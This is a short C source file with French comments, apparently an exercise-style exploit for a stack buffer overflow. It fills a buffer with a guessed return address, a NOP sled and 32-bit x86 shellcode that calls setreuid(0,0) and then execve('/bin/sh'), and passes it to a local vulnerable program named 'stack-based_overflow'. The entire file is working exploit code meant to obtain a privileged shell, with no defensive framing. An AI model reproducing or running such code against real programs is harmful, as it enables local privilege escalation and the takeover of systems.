//stack-based_exploit.c : Exploitation d'un dépassement de mémoire dans la pile

#define OFFSET 164
#define LONG_NOPSLED 40
#define LONG_BUFFER 109

 

char shellcode[] =
	
	"\x31\xC0\xB0\x46\x31\xDB\x31\xD9\xCD\x80\xEB\x16\x5B\x31\xC0\x88"	
	"\x43\x07\x89\x5B\x08\x89\x43\x0C\xB0\x0B\x8D\x4B\x08\x8D\x53\x0C"
	"\xCD\x80\xE8\xE5\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68";
		
unsigned long stack_pointer() {
	__asm__("movl %esp, %eax");
}	
		
int main() {

	int i;
	long *temp_addr,ret_adr_eff,esp;
	char *buffer,*temp_ptr;

	buffer = malloc(LONG_BUFFER);	

	ret_adr_eff = stack_pointer();
	ret_adr_eff -= OFFSET;	

	temp_ptr = buffer;
	temp_addr = (long *) temp_ptr;	
	
	printf("Adresse cible à 0x%x (offset de 0x%x)\n",ret_adr_eff,OFFSET);
	
	for (i=0;i < LONG_BUFFER;i+=4) //Injection de l'adresse de retour
		*(temp_addr++) = ret_adr_eff;
		
	for (i=0;i < LONG_NOPSLED;++i) //Injection du NOP Sled
		buffer[i] = '\x90';
	
	temp_ptr += LONG_NOPSLED;	
		
	for (i=0;i < strlen(shellcode); i++) //Injection du Shellcode
		*(temp_ptr++) = shellcode[i];
		
	buffer[LONG_BUFFER - 1] = 0;
	
	execl("./stack-based_overflow","stack-based_overflow",buffer,0);
	
	free(buffer);
	
	return 0;
}